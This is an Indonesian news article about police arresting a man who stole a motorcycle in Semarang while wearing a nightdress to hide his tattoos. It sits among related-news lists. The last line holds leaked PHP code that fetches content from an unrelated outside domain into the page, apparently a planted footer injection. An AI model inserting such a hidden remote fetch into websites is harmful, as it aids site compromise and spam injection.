Ini Wajah Pelaku Maling Motor Berdaster Di Semarang, Motifnya Karena Ada Kesempatan

Senin, 13 Mei 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Jejakkasus.info | JAWA TENGAH & DIY

SEMARANG | Jejakkasus.info – DPO seorang pencuri sepeda motor akhirnya diringkus Satreskrim Polrestabes Semarang karena mencuri sepeda motor sambil mengenakan daster wanita. Tersangka Dio Rizky Arrviantara, 28 tahun, diketahui sebagai kondektur bus ditangkap pada Kamis, 9 Mei 2024, sekitar pukul 01.00 di kawasan Kandanghaur, Kabupaten Indramayu.

Menurut polisi, pencurian itu terjadi pada Kamis, 18 April 2024, sekitar pukul 03.30 di depan Sonic Airport Hotel-Semarang, Jalan WR Supratman, Kalibanteng Kidul, Semarang Barat, Kota Semarang. Sepeda motor hasil curian berupa Vario warna hitam bernomor polisi AD 5776 BED milik seorang pegawai hotel.

Baca Juga:  Berikan Arahan Kepada Bhabinkamtibmas, Kapolres Simeulue Berpesan

Dio mengakui perbuatannya dengan menyatakan bahwa ia mencuri sepeda motor tersebut karena melihat peluang ketika melihat kuncinya masih menempel di dashboard. Ia kemudian membatalkan rencananya untuk masuk ke hotel dan malah pergi ke rumah neneknya, di sana ia mengambil daster putih yang sedang dijemur. Ia mengenakan daster tersebut untuk mengalihkan perhatian dan menutupi tatonya.

Baca Juga:  Sat Binmas Polres Pagar Alam Goes to School Cegah Kenakalan Remaja

“saya pergunakan untuk menutupi tato saya,” Ujar Dio kepada awak media

Polisi harus memburu tersangka sampai ke Jawa Barat, tempat sepeda motor curiannya diambil beberapa hari kemudian. Tersangka akhirnya ditangkap tiga pekan kemudian, saat sedang makan nasi goreng di kawasan Kandanghaur.

Kapolrestabes Semarang Kombes Pol Irwan Anwar mengatakan, Trik tak biasa tersangka yang mengenakan gaun hingga memberi kesan bahwa pencurinya adalah perempuan membuat polisi kesulitan melacaknya. Namun polisi akhirnya dapat menangkap tersangka dan mengembalikan sepeda motor curiannya.

Baca Juga:  Semarak HUT Kabupaten Subang ke-75, Dimeriahkan Penampilan Hadroh Polwan Polres Subang

Dio menghadapi dakwaan berdasarkan Pasal 362 dengan ancaman hukuman hingga 5 tahun penjara. Kapolresbes Semarang menegaskan, kelalaian pemilik yang meninggalkan kunci motor di dashboard memudahkan tersangka mencuri kendaraannya.

(Sis)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

AKBP Pradana Aditya Nugraha SH Kapolres Bateng, Datangi Markas Kodim 0413 Bangka Meriahkan HUT TNI ke 79 Wujudkan Sinergitas antara TNI dan Polri
Menuju Pilkada Damai Sejuk, Aman dan Bermartabat, Kapolres Tanjab Barat adakan Silaturahmi bersama Insan Pers 
Dalam Rangka Ciptakan Pemilu Damai Jumat Curhat Kapolres Bangka Tengah Mengajak Masyarakat Menjaga Pilkada Agar Silaturahmi Tetap Terjaga
Polsek Bongas Patroli Strong Point Wiralodra
Tim Gabungan Polres Bangka Tengah kembali Tertibkan Tambang Ilegal di Kolong Merbuk
Cegah Kejahatan, Polres Metro Depok Patroli Skala Besar Gabungan 
Sigap, Unit Reskrim Polsek Sungai Selan Ringkus Pelaku Curat di Kediamannya 
Ngopi Kamtibmas pererat Silaturahmi Polisi dan Masyarakat

Berita Terkait

Sabtu, 5 Oktober 2024 - 17:37 WIB

AKBP Pradana Aditya Nugraha SH Kapolres Bateng, Datangi Markas Kodim 0413 Bangka Meriahkan HUT TNI ke 79 Wujudkan Sinergitas antara TNI dan Polri

Jumat, 27 September 2024 - 13:46 WIB

Menuju Pilkada Damai Sejuk, Aman dan Bermartabat, Kapolres Tanjab Barat adakan Silaturahmi bersama Insan Pers 

Jumat, 20 September 2024 - 23:11 WIB

Dalam Rangka Ciptakan Pemilu Damai Jumat Curhat Kapolres Bangka Tengah Mengajak Masyarakat Menjaga Pilkada Agar Silaturahmi Tetap Terjaga

Sabtu, 7 September 2024 - 19:46 WIB

Polsek Bongas Patroli Strong Point Wiralodra

Selasa, 3 September 2024 - 15:32 WIB

Tim Gabungan Polres Bangka Tengah kembali Tertibkan Tambang Ilegal di Kolong Merbuk

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>